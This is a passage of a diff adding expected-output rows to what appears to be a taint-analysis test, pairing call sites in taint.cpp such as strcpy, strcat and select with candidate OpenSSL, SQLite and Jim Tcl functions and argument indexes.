| | apps_ssl_info_callback | 2 | +| taint.cpp:142:5:142:10 | select | (const SSL_CIPHER *,char *,int) | | SSL_CIPHER_description | 2 | +| taint.cpp:142:5:142:10 | select | (const X509 *,const ASN1_OBJECT *,int) | | X509_get_ext_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (const X509 *,const stack_st_X509 *,int) | | OSSL_ESS_signing_cert_new_init | 2 | +| taint.cpp:142:5:142:10 | select | (const X509 *,int,int) | | X509_get_ext_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (const X509 *,int,int) | | X509_get_ext_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (const X509 *,int,int) | | X509_get_ext_by_critical | 1 | +| taint.cpp:142:5:142:10 | select | (const X509 *,int,int) | | X509_get_ext_by_critical | 2 | +| taint.cpp:142:5:142:10 | select | (const X509_ACERT *,const ASN1_OBJECT *,int) | | X509_ACERT_get_attr_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (const X509_ACERT *,int,int) | | X509_ACERT_get_attr_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (const X509_ACERT *,int,int) | | X509_ACERT_get_attr_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (const X509_CRL *,const ASN1_OBJECT *,int) | | X509_CRL_get_ext_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (const X509_CRL *,const X509 *,int) | | OSSL_CMP_CRLSTATUS_create | 2 | +| taint.cpp:142:5:142:10 | select | (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_critical | 1 | +| taint.cpp:142:5:142:10 | select | (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_critical | 2 | +| taint.cpp:142:5:142:10 | select | (const X509_NAME *,char *,int) | | X509_NAME_oneline | 2 | +| taint.cpp:142:5:142:10 | select | (const X509_NAME *,const ASN1_OBJECT *,int) | | X509_NAME_get_index_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (const X509_NAME *,int,int) | | X509_NAME_get_index_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (const X509_NAME *,int,int) | | X509_NAME_get_index_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (const X509_REQ *,const ASN1_OBJECT *,int) | | X509_REQ_get_attr_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (const X509_REQ *,int,int) | | X509_REQ_get_attr_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (const X509_REQ *,int,int) | | X509_REQ_get_attr_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (const X509_REVOKED *,const ASN1_OBJECT *,int) | | X509_REVOKED_get_ext_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_critical | 1 | +| taint.cpp:142:5:142:10 | select | (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_critical | 2 | +| taint.cpp:142:5:142:10 | select | (const X509_SIG *,const char *,int) | | PKCS8_decrypt | 2 | +| taint.cpp:142:5:142:10 | select | (const char *,SD *,int) | | sd_load | 2 | +| taint.cpp:142:5:142:10 | select | (const char *,const OSSL_PARAM *,int) | | print_param_types | 2 | +| taint.cpp:142:5:142:10 | select | (const char *,const char *,int) | | CRYPTO_strdup | 2 | +| taint.cpp:142:5:142:10 | select | (const char *,const char *,int) | | sqlite3_strnicmp | 2 | +| taint.cpp:142:5:142:10 | select | (const char *,long *,int) | | Jim_StringToWide | 2 | +| taint.cpp:142:5:142:10 | select | (const char *,sqlite3_filename,int) | | sqlite3_uri_key | 2 | +| taint.cpp:142:5:142:10 | select | (const stack_st_X509_ATTRIBUTE *,const ASN1_OBJECT *,int) | | X509at_get_attr_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (const stack_st_X509_ATTRIBUTE *,int,int) | | X509at_get_attr_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (const stack_st_X509_ATTRIBUTE *,int,int) | | X509at_get_attr_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (const stack_st_X509_EXTENSION *,const ASN1_OBJECT *,int) | | X509v3_get_ext_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_critical | 1 | +| taint.cpp:142:5:142:10 | select | (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_critical | 2 | +| taint.cpp:142:5:142:10 | select | (const unsigned char **,unsigned int,int) | | ossl_b2i_DSA_after_header | 2 | +| taint.cpp:142:5:142:10 | select | (const unsigned char **,unsigned int,int) | | ossl_b2i_RSA_after_header | 2 | +| taint.cpp:142:5:142:10 | select | (const void *,const void *,int) | | ossl_is_partially_overlapping | 2 | +| taint.cpp:142:5:142:10 | select | (int,BIO_ADDR *,int) | | BIO_accept_ex | 2 | +| taint.cpp:142:5:142:10 | select | (int,int,int) | | ASN1_object_size | 0 | +| taint.cpp:142:5:142:10 | select | (int,int,int) | | ASN1_object_size | 1 | +| taint.cpp:142:5:142:10 | select | (int,int,int) | | ASN1_object_size | 2 | +| taint.cpp:142:5:142:10 | select | (int,int,int) | | EVP_CIPHER_meth_new | 0 | +| taint.cpp:142:5:142:10 | select | (int,int,int) | | EVP_CIPHER_meth_new | 1 | +| taint.cpp:142:5:142:10 | select | (int,int,int) | | EVP_CIPHER_meth_new | 2 | +| taint.cpp:142:5:142:10 | select | (regex_t *,const char *,int) | | jim_regcomp | 2 | +| taint.cpp:142:5:142:10 | select | (sqlite3 *,const char *,int) | | sqlite3_overload_function | 2 | +| taint.cpp:142:5:142:10 | select | (sqlite3 *,int,int) | | sqlite3_limit | 1 | +| taint.cpp:142:5:142:10 | select | (sqlite3 *,int,int) | | sqlite3_limit | 2 | +| taint.cpp:142:5:142:10 | select | (sqlite3_context *,const char *,int) | | sqlite3_result_error | 2 | +| taint.cpp:142:5:142:10 | select | (sqlite3_context *,const void *,int) | | sqlite3_result_error16 | 2 | +| taint.cpp:142:5:142:10 | select | (sqlite3_index_info *,int,int) | | sqlite3_vtab_in | 1 | +| taint.cpp:142:5:142:10 | select | (sqlite3_index_info *,int,int) | | sqlite3_vtab_in | 2 | +| taint.cpp:142:5:142:10 | select | (sqlite3_stmt *,int,int) | | sqlite3_bind_int | 1 | +| taint.cpp:142:5:142:10 | select | (sqlite3_stmt *,int,int) | | sqlite3_bind_int | 2 | +| taint.cpp:142:5:142:10 | select | (sqlite3_stmt *,int,int) | | sqlite3_bind_zeroblob | 1 | +| taint.cpp:142:5:142:10 | select | (sqlite3_stmt *,int,int) | | sqlite3_bind_zeroblob | 2 | +| taint.cpp:142:5:142:10 | select | (sqlite3_stmt *,int,int) | | sqlite3_stmt_status | 1 | +| taint.cpp:142:5:142:10 | select | (sqlite3_stmt *,int,int) | | sqlite3_stmt_status | 2 | +| taint.cpp:142:5:142:10 | select | (sqlite3_str *,const char *,int) | | sqlite3_str_append | 2 | +| taint.cpp:142:5:142:10 | select | (sqlite3expert *,int,int) | | sqlite3_expert_report | 1 | +| taint.cpp:142:5:142:10 | select | (sqlite3expert *,int,int) | | sqlite3_expert_report | 2 | +| taint.cpp:142:5:142:10 | select | (stack_st_ASN1_UTF8STRING *,const char *,int) | | ossl_cmp_sk_ASN1_UTF8STRING_push_str | 2 | +| taint.cpp:142:5:142:10 | select | (stack_st_X509 **,X509 *,int) | | ossl_x509_add_cert_new | 2 | +| taint.cpp:142:5:142:10 | select | (stack_st_X509 **,stack_st_X509 *,int) | | ossl_x509_add_certs_new | 2 | +| taint.cpp:142:5:142:10 | select | (stack_st_X509 *,ASIdentifiers *,int) | | X509v3_asid_validate_resource_set | 2 | +| taint.cpp:142:5:142:10 | select | (stack_st_X509 *,IPAddrBlocks *,int) | | X509v3_addr_validate_resource_set | 2 | +| taint.cpp:142:5:142:10 | select | (stack_st_X509 *,X509 *,int) | | X509_add_cert | 2 | +| taint.cpp:142:5:142:10 | select | (stack_st_X509 *,stack_st_X509 *,int) | | X509_add_certs | 2 | +| taint.cpp:142:5:142:10 | select | (stack_st_X509_ALGOR **,int,int) | | CMS_add_simple_smimecap | 1 | +| taint.cpp:142:5:142:10 | select | (stack_st_X509_ALGOR **,int,int) | | CMS_add_simple_smimecap | 2 | +| taint.cpp:142:5:142:10 | select | (stack_st_X509_ALGOR *,int,int) | | PKCS7_simple_smimecap | 1 | +| taint.cpp:142:5:142:10 | select | (stack_st_X509_ALGOR *,int,int) | | PKCS7_simple_smimecap | 2 | +| taint.cpp:142:5:142:10 | select | (stack_st_X509_EXTENSION **,X509_EXTENSION *,int) | | X509v3_add_ext | 2 | +| taint.cpp:142:5:142:10 | select | (uint8_t[56],const gf,int) | | gf_serialize | 2 | +| taint.cpp:142:5:142:10 | select | (uint32_t *,SSL_CONNECTION *,int) | | ssl_set_sig_mask | 2 | +| taint.cpp:142:5:142:10 | select | (unsigned char *,const unsigned char *,int) | | EVP_DecodeBlock | 2 | +| taint.cpp:142:5:142:10 | select | (unsigned char *,const unsigned char *,int) | | EVP_EncodeBlock | 2 | +| taint.cpp:142:5:142:10 | select | (unsigned char *,uint64_t,int) | | ossl_i2c_uint64_int | 2 | +| taint.cpp:142:5:142:10 | select | (unsigned int,int,int) | | ossl_blob_length | 1 | +| taint.cpp:142:5:142:10 | select | (unsigned int,int,int) | | ossl_blob_length | 2 | +| taint.cpp:142:5:142:10 | select | (unsigned long *,const BIGNUM *,int) | | bn_copy_words | 2 | +| taint.cpp:142:5:142:10 | select | (unsigned long *,const unsigned long *,int) | | bn_sqr_words | 2 | +| taint.cpp:142:5:142:10 | select | (void *,const char *,int) | | CRYPTO_secure_free | 2 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | ASN1_STRING_type_new | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | ASN1_tag2bit | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | ASN1_tag2str | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | EVP_PKEY_asn1_get0 | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | Jim_ReturnCode | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | Jim_SignalId | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | OBJ_nid2ln | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | OBJ_nid2obj | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | OBJ_nid2sn | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | OSSL_STORE_INFO_type_string | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | OSSL_trace_get_category_name | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | PKCS12_init | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | Symbol_Nth | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | X509_PURPOSE_get0 | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | X509_PURPOSE_get_by_id | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | X509_TRUST_get0 | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | X509_TRUST_get_by_id | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | evp_pkey_type2name | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | ossl_cmp_bodytype_to_string | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | ossl_tolower | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | ossl_toupper | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | pulldown_test_framework | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | sqlite3_compileoption_get | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | sqlite3_errstr | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | tls1_alert_code | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | tls13_alert_code | 0 | +| taint.cpp:150:6:150:12 | fn_test | (int) | | wait_until_sock_readable | 0 | +| taint.cpp:156:7:156:12 | strcpy | (ASN1_GENERALIZEDTIME *,const char *) | | ASN1_GENERALIZEDTIME_set_string | 1 | +| taint.cpp:156:7:156:12 | strcpy | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string | 1 | +| taint.cpp:156:7:156:12 | strcpy | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string_X509 | 1 | +| taint.cpp:156:7:156:12 | strcpy | (ASN1_UTCTIME *,const char *) | | ASN1_UTCTIME_set_string | 1 | +| taint.cpp:156:7:156:12 | strcpy | (BIGNUM **,const char *) | | BN_asc2bn | 1 | +| taint.cpp:156:7:156:12 | strcpy | (BIGNUM **,const char *) | | BN_dec2bn | 1 | +| taint.cpp:156:7:156:12 | strcpy | (BIGNUM **,const char *) | | BN_hex2bn | 1 | +| taint.cpp:156:7:156:12 | strcpy | (CONF *,const char *) | | TS_CONF_get_tsa_section | 1 | +| taint.cpp:156:7:156:12 | strcpy | (CONF *,const char *) | | _CONF_new_section | 1 | +| taint.cpp:156:7:156:12 | strcpy | (DH_METHOD *,const char *) | | DH_meth_set1_name | 1 | +| taint.cpp:156:7:156:12 | strcpy | (DSA_METHOD *,const char *) | | DSA_meth_set1_name | 1 | +| taint.cpp:156:7:156:12 | strcpy | (DSO *,const char *) | | DSO_convert_filename | 1 | +| taint.cpp:156:7:156:12 | strcpy | (DSO *,const char *) | | DSO_set_filename | 1 | +| taint.cpp:156:7:156:12 | strcpy | (ENGINE *,const char *) | | ENGINE_set_id | 1 | +| taint.cpp:156:7:156:12 | strcpy | (ENGINE *,const char *) | | ENGINE_set_name | 1 | +| taint.cpp:156:7:156:12 | strcpy | (ENGINE *,const char *) | | OSSL_STORE_LOADER_new | 1 | +| taint.cpp:156:7:156:12 | strcpy | (EVP_PKEY *,const char *) | | CTLOG_new | 1 | +| taint.cpp:156:7:156:12 | strcpy | (EVP_PKEY_CTX *,const char *) | | app_paramgen | 1 | +| taint.cpp:156:7:156:12 | strcpy | (EVP_PKEY_CTX *,const char *) | | pkey_ctrl_string | 1 | +| taint.cpp:156:7:156:12 | strcpy | (Jim_Interp *,const char *) | | Jim_Eval | 1 | +| taint.cpp:156:7:156:12 | strcpy | (Jim_Interp *,const char *) | | Jim_EvalFile | 1 | +| taint.cpp:156:7:156:12 | strcpy | (Jim_Interp *,const char *) | | Jim_EvalFileGlobal | 1 | +| taint.cpp:156:7:156:12 | strcpy | (Jim_Interp *,const char *) | | Jim_EvalGlobal | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OPENSSL_DIR_CTX **,const char *) | | OPENSSL_DIR_read | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_appname | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_filename | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_no_proxy | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_proxy | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_server | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_serverPath | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_structure | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_type | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_structure | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_type | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_JSON_ENC *,const char *) | | ossl_json_key | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_JSON_ENC *,const char *) | | ossl_json_str | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | CMS_ContentInfo_new_ex | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | CTLOG_STORE_new_ex | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | CT_POLICY_EVAL_CTX_new_ex | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | EC_KEY_new_ex | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_CTX_new | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_new | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_SRV_CTX_new | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | OSSL_PROVIDER_load | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | PKCS7_new_ex | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | SCT_CTX_new | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | TS_RESP_CTX_new_ex | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | X509_CRL_new_ex | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | X509_PUBKEY_new_ex | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | X509_REQ_new_ex | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | X509_STORE_CTX_new_ex | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | X509_new_ex | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | ossl_cmp_mock_srv_new | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | ossl_cms_Data_create | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_LIB_CTX *,const char *) | | ossl_parse_property | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_PARAM *,const char *) | | OSSL_PARAM_locate | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_ptr | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_string | 1 | +| taint.cpp:156:7:156:12 | strcpy | (OSSL_PROVIDER *,const char *) | | ossl_provider_set_module_path | 1 | +| taint.cpp:156:7:156:12 | strcpy | (PKCS7 *,const char *) | | ossl_pkcs7_set1_propq | 1 | +| taint.cpp:156:7:156:12 | strcpy | (RSA_METHOD *,const char *) | | RSA_meth_set1_name | 1 | +| taint.cpp:156:7:156:12 | strcpy | (SSL *,const char *) | | SSL_add1_host | 1 | +| taint.cpp:156:7:156:12 | strcpy | (SSL *,const char *) | | SSL_set1_host | 1 | +| taint.cpp:156:7:156:12 | strcpy | (SSL *,const char *) | | SSL_set_cipher_list | 1 | +| taint.cpp:156:7:156:12 | strcpy | (SSL *,const char *) | | SSL_use_psk_identity_hint | 1 | +| taint.cpp:156:7:156:12 | strcpy | (SSL_CONF_CTX *,const char *) | | SSL_CONF_CTX_set1_prefix | 1 | +| taint.cpp:156:7:156:12 | strcpy | (SSL_CONF_CTX *,const char *) | | SSL_CONF_cmd_value_type | 1 | +| taint.cpp:156:7:156:12 | strcpy | (SSL_CTX *,const char *) | | SSL_CTX_set_cipher_list | 1 | +| taint.cpp:156:7:156:12 | strcpy | (SSL_CTX *,const char *) | | SSL_CTX_use_psk_identity_hint | 1 | +| taint.cpp:156:7:156:12 | strcpy | (SSL_CTX *,const char *) | | ossl_quic_set_diag_title | 1 | +| taint.cpp:156:7:156:12 | strcpy | (SSL_SESSION *,const char *) | | SSL_SESSION_set1_hostname | 1 | +| taint.cpp:156:7:156:12 | strcpy | (STANZA *,const char *) | | test_start_file | 1 | +| taint.cpp:156:7:156:12 | strcpy | (UI *,const char *) | | UI_add_error_string | 1 | +| taint.cpp:156:7:156:12 | strcpy | (UI *,const char *) | | UI_add_info_string | 1 | +| taint.cpp:156:7:156:12 | strcpy | (UI *,const char *) | | UI_dup_error_string | 1 | +| taint.cpp:156:7:156:12 | strcpy | (UI *,const char *) | | UI_dup_info_string | 1 | +| taint.cpp:156:7:156:12 | strcpy | (X509 *,const char *) | | x509_ctrl_string | 1 | +| taint.cpp:156:7:156:12 | strcpy | (X509_REQ *,const char *) | | x509_req_ctrl_string | 1 | +| taint.cpp:156:7:156:12 | strcpy | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_ip_asc | 1 | +| taint.cpp:156:7:156:12 | strcpy | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_name | 1 | +| taint.cpp:156:7:156:12 | strcpy | (const OSSL_PARAM *,const char *) | | OSSL_PARAM_locate_const | 1 | +| taint.cpp:156:7:156:12 | strcpy | (const char *,const char *) | | Configcmp | 1 | +| taint.cpp:156:7:156:12 | strcpy | (const char *,const char *) | | DES_crypt | 1 | +| taint.cpp:156:7:156:12 | strcpy | (const char *,const char *) | | OPENSSL_strcasecmp | 1 | +| taint.cpp:156:7:156:12 | strcpy | (const char *,const char *) | | get_passwd | 1 | +| taint.cpp:156:7:156:12 | strcpy | (const char *,const char *) | | openssl_fopen | 1 | +| taint.cpp:156:7:156:12 | strcpy | (const char *,const char *) | | ossl_pem_check_suffix | 1 | +| taint.cpp:156:7:156:12 | strcpy | (const char *,const char *) | | ossl_v3_name_cmp | 1 | +| taint.cpp:156:7:156:12 | strcpy | (const char *,const char *) | | sqlite3_strglob | 1 | +| taint.cpp:156:7:156:12 | strcpy | (const char *,const char *) | | sqlite3_stricmp | 1 | +| taint.cpp:156:7:156:12 | strcpy | (const char *,const char *) | | test_mk_file_path | 1 | +| taint.cpp:156:7:156:12 | strcpy | (int,const char *) | | BIO_meth_new | 1 | +| taint.cpp:156:7:156:12 | strcpy | (lemon *,const char *) | | file_makename | 1 | +| taint.cpp:156:7:156:12 | strcpy | (size_t *,const char *) | | next_protos_parse | 1 | +| taint.cpp:156:7:156:12 | strcpy | (sqlite3 *,const char *) | | sqlite3_declare_vtab | 1 | +| taint.cpp:156:7:156:12 | strcpy | (sqlite3 *,const char *) | | sqlite3_get_clientdata | 1 | +| taint.cpp:156:7:156:12 | strcpy | (sqlite3 *,const char *) | | sqlite3_wal_checkpoint | 1 | +| taint.cpp:156:7:156:12 | strcpy | (sqlite3_intck *,const char *) | | sqlite3_intck_test_sql | 1 | +| taint.cpp:156:7:156:12 | strcpy | (sqlite3_stmt *,const char *) | | sqlite3_bind_parameter_index | 1 | +| taint.cpp:156:7:156:12 | strcpy | (sqlite3_str *,const char *) | | sqlite3_str_appendall | 1 | +| taint.cpp:156:7:156:12 | strcpy | (sqlite3_value *,const char *) | | sqlite3_value_pointer | 1 | +| taint.cpp:156:7:156:12 | strcpy | (unsigned char *,const char *) | | ossl_a2i_ipadd | 1 | +| taint.cpp:156:7:156:12 | strcpy | (unsigned long *,const char *) | | set_cert_ex | 1 | +| taint.cpp:156:7:156:12 | strcpy | (unsigned long *,const char *) | | set_name_ex | 1 | +| taint.cpp:157:7:157:12 | strcat | (ASN1_GENERALIZEDTIME *,const char *) | | ASN1_GENERALIZEDTIME_set_string | 1 | +| taint.cpp:157:7:157:12 | strcat | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string | 1 | +| taint.cpp:157:7:157:12 | strcat | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string_X509 | 1 | +| taint.cpp:157:7:157:12 | strcat | (ASN1_UTCTIME *,const char *) | | ASN1_UTCTIME_set_string | 1 | +| taint.cpp:157:7:157:12 | strcat | (BIGNUM **,const char *) | | BN_asc2bn | 1 | +| taint.cpp:157:7:157:12 | strcat | (BIGNUM **,const char *) | | BN_dec2bn | 1 | +| taint.cpp:157:7:157:12 | strcat | (BIGNUM **,const char *) | | BN_hex2bn | 1 | +| taint.cpp:157:7:157:12 | strcat | (CONF *,const char *) | | TS_CONF_get_tsa_section | 1 | +| taint.cpp:157:7:157:12 | strcat | (CONF *,const char *) | | _CONF_new_section | 1 | +| taint.cpp:157:7:157:12 | strcat | (DH_METHOD *,const char *) | | DH_meth_set1_name | 1 | +| taint.cpp:157:7:157:12 | strcat | (DSA_METHOD *,const char *) | | DSA_meth_set1_name | 1 | +| taint.cpp:157:7:157:12 | strcat | (DSO *,const char *) | | DSO_convert_filename | 1 | +| taint.cpp:157:7:157:12 | strcat | (DSO *,const char *) | | DSO_set_filename | 1 | +| taint.cpp:157:7:157:12 | strcat | (ENGINE *,const char *) | | ENGINE_set_id | 1 | +| taint.cpp:157:7:157:12 | strcat | (ENGINE *,const char *) | | ENGINE_set_name | 1 | +| taint.cpp:157:7:157:12 | strcat | (ENGINE *,const char *) | | OSSL_STORE_LOADER_new | 1 | +| taint.cpp:157:7:157:12 | strcat | (EVP_PKEY *,const char *) | | CTLOG_new | 1 | +| taint.cpp:157:7:157:12 | strcat | (EVP_PKEY_CTX *,const char *) | | app_paramgen | 1 | +| taint.cpp:157:7:157:12 | strcat | (EVP_PKEY_CTX *,const char *) | | pkey_ctrl_string | 1 | +| taint.cpp:157:7:157:12 | strcat | (Jim_Interp *,const char *) | | Jim_Eval | 1 | +| taint.cpp:157:7:157:12 | strcat | (Jim_Interp *,const char *) | | Jim_EvalFile | 1 | +| taint.cpp:157:7:157:12 | strcat | (Jim_Interp *,const char *) | | Jim_EvalFileGlobal | 1 | +| taint.cpp:157:7:157:12 | strcat | (Jim_Interp *,const char *) | | Jim_EvalGlobal | 1 | +| taint.cpp:157:7:157:12 | strcat | (OPENSSL_DIR_CTX **,const char *) | | OPENSSL_DIR_read | 1 | +| taint.cpp:157:7:157:12 | strcat | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_appname | 1 | +| taint.cpp:157:7:157:12 | strcat | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_filename | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_no_proxy | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_proxy | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_server | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_serverPath | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_structure | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_type | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_structure | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_type | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_JSON_ENC *,const char *) | | ossl_json_key | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_JSON_ENC *,const char *) | | ossl_json_str | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | CMS_ContentInfo_new_ex | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | CTLOG_STORE_new_ex | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | CT_POLICY_EVAL_CTX_new_ex | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | EC_KEY_new_ex | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_CTX_new | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_new | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_SRV_CTX_new | 1 | +| taint.cpp:157:7:157:12 | strcat | (OSSL_LIB_CTX *,const char *) | | OSSL_PROVIDER_load | 1 | +| taint.cpp:157:7:157:12 | strcat | 